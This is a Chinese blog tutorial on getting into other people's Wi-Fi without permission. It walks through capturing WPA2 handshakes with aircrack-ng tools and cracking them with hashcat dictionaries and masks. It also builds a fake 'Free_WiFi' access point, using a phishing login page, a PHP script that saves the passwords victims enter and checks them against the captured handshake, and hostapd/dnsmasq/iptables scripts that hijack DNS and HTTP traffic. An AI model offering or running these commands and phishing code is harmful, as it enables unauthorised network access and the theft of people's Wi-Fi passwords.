少女祈祷中...

前言

相信不少朋友都遇到过旁边全是Wifi节点,但就是一个都用不了的痛苦。今天我就来分享一些不那么优雅的蹭网方式。

WiFi万能钥匙

  • 大道至简,虽说这并不是所谓的密码破解,但在一个陌生环境下蹭网仍是一个不错的选择。毕竟你也不能确定会不会已经有人把密码分享出去了。如果有的话,这种方法可以说是最简单,最高效的方法了。如果没有的话,请继续往下看。
  • 我此分享一个从网络中找到的别人分享的万能钥匙的改版,相对清爽一些。WiFi万能钥匙下载链接

抓握手包跑字典

  • 开局直接获取su权限,免得下面操作频繁输入sudo。kali的默认账户和密码都是kali

    1
    sudo su
  • 查看可用的监听网卡

    1
    airmon-ng 
  • 开启监听,wlan0就是之前查看的监听网卡

    1
    airmon-ng start wlan0
  • 找到需要监听的wifi后记录信息,然后键入ctrl c停止扫描

    1
    2
    BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID      
    FE:92:C4:5E:5E:C3 -47 3 2 0 4 180 WPA2 CCMP PSK _test
  • 根据上面的信息进行握手包抓取,并将抓取的我手包存储指定目录。

    1
    airodump-ng -c 4 --bssid FE:92:C4:5E:5E:C3 -w /home/kali/Desktop/test/NewFolder/_test wlan0mon
  • 等待有人连接wifi后,显示MAC地址就可以停止抓包了。在对应目录会出现对应文件。
    抓包完成的标志

  • 停止抓包

    1
    airmon-ng stop wlan0mon

    抓取的握手包

  • 进入这个网址https://hashcat.net/cap2hashcat/index.pl.cap文件转化为.hc22000文件后就可以选择使用hashcat进行暴力破解了。

    1
    2
    3
    4
    5
    // 字典暴力破解
    hashcat -m 22000 xxx.hc22000 pwd.txt

    // 掩码暴力破解
    hashcat -a 3 -m 22000 xxx.hc22000 ?d?d?d?d?d?d?d?d
  • 当然也可以不转换,直接使用aircrack-ng

    1
    aircrack-ng handshake.cap -w pwd.txt

使用Fluxion伪造AP

  • 这个网上教程很多,而且引导页面也可以设置中文,就不过多描述了。
  • 需要注意的是使用前执行fluxion -i进行依赖补全,如果无法补全就直接自己执行apt
  • 其中pyrit因为年久失修,已经不在官方的仓库里面了,需要自己弄。但还是需要注意,因为这位作者编写的是bash脚本,而kali默认为zsh,如果直接执行脚本会出现报错。正确做法是使用bash来执行。
    1
    2
    3
    git clone https://github.com/hacker3983/pyrit-installer.git
    cd pyrit-installer
    bash ./install.sh
    成功后的提示和根据提示打开的文件内容

手动伪造AP

  • 效果和使用fluxion基本一样,甚至会略微差一些,毕竟flxuion的自定义选项更多,而手动弄的话比较吃自己的操作,下限更低。

配置目录以及文件

  • 这次就不要使用su了,因为我们需要本地服务器有权限写入目录。

  • 创建目录并进入目录创建hostapd.conf文件

    1
    2
    mkdir -p /home/kali/Desktop/test/wlan_hack/
    cd /home/kali/Desktop/test/wlan_hack/
  • 在该目录中放入之前抓取的握手包文件

  • hostapd.conf

    1
    2
    3
    4
    5
    6
    7
    8
    interface=wlan0
    driver=nl80211
    ssid=Free_WiFi
    hw_mode=g
    channel=6
    macaddr_acl=0
    auth_algs=1
    ignore_broadcast_ssid=0
  • dnsmasq.conf

    1
    2
    3
    4
    5
    interface=wlan0
    dhcp-range=192.168.1.2,192.168.1.100,12h
    dhcp-option=3,192.168.1.1
    dhcp-option=6,192.168.1.1
    address=/#/192.168.1.1
  • 配置钓鱼页面index.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!DOCTYPE html>
    <html>
    <head><meta charset="utf-8"><title>Wi-Fi 登录</title></head>
    <body>
    <h2>连接 Free_WiFi</h2>
    <form method="POST" action="/login.php">
    <label>请输入 Wi-Fi 密码:</label><br>
    <input type="password" name="wifi_pass" required><br><br>
    <input type="submit" value="连接">
    </form>
    </body>
    </html>
  • 配置密码验证login.php,请注意修改存储密码的文件和握手包路径为绝对路径

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    $password = $_POST['wifi_pass'] ?? '';
    file_put_contents("/home/kali/Desktop/test/wlan_hack/temp_pass.txt", $password);

    // 调用 aircrack-ng 验证握手包
    $cmd = "aircrack-ng /home/kali/Desktop/test/wlan_hack/handshake.cap -w /home/kali/Desktop/test/wlan_hack/temp_pass.txt 2>&1";
    $output = shell_exec($cmd);

    if (strpos($output, "KEY FOUND!") !== false) {
    file_put_contents("/home/kali/Desktop/test/wlan_hack/valid.txt", "y " . $password . "\n");
    echo "<h3>密码验证成功,连接成功!</h3>";
    } else {
    file_put_contents("/home/kali/Desktop/test/wlan_hack/invalid.txt", "n " . $password . "\n");
    echo "<h3>密码错误,请重新输入。</h3>";
    }
    ?>
  • 配置启动脚本run.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    #!/bin/bash
    # 清理旧配置
    killall hostapd dnsmasq apache2
    iptables --flush
    ip link set wlan0 down

    # 设置静态IP
    ip link set wlan0 up
    ip addr add 192.168.1.1/24 dev wlan0

    # 启用 IP 转发
    echo 1 > /proc/sys/net/ipv4/ip_forward

    # 清空旧规则
    iptables -F
    iptables -t nat -F

    # NAT 设置
    iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

    # 把所有 HTTP 请求重定向到本地 Web 服务器(Captive Portal)
    iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80


    # 启动 hostapd
    hostapd hostapd.conf &

    # 启动 dnsmasq
    dnsmasq -C dnsmasq.conf

    # 启动 Apache(默认网站目录为 /var/www/html)
    cp index.html /var/www/html/index.html
    cp login.php /var/www/html/login.php
    systemctl restart apache2

    echo "[+] 钓鱼 Wi-Fi 启动成功,请连接 Free_WiFi 测试。"
  • 配置停止脚本stop.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #!/bin/bash

    echo "[*] 正在关闭钓鱼 Wi-Fi 环境..."

    # 杀掉后台运行的服务
    killall hostapd 2>/dev/null
    killall dnsmasq 2>/dev/null
    killall apache2 2>/dev/null

    # 还原网络接口
    ip addr flush dev wlan0
    ip link set wlan0 down

    # 清除 iptables 规则
    iptables -F
    iptables -t nat -F
    iptables -X

    echo "[+] 停止完成,网络环境已恢复。"

执行

  • 配置php用户为当前用户,以确保有权限写入文件。配置文件为/etc/apache2/envvars

    1
    2
    3
    4
    5
    6
    7
    8
    // 将
    export APACHE_RUN_USER=www-data
    export APACHE_RUN_GROUP=www-data

    // 修改为
    export APACHE_RUN_USER=kali
    export APACHE_RUN_GROUP=kali

  • 直接执行run.sh

小结

  • 最优解肯定是使用fluxion,毕竟人家都封装好了,只是为了解决问题,越简单越好。
  • 按照我手动配置的话,可能会出现一些网址无法成功dns劫持。
  • 当然,钓鱼页面可以自己写,毕竟我写的这个过于简单了。

参考文章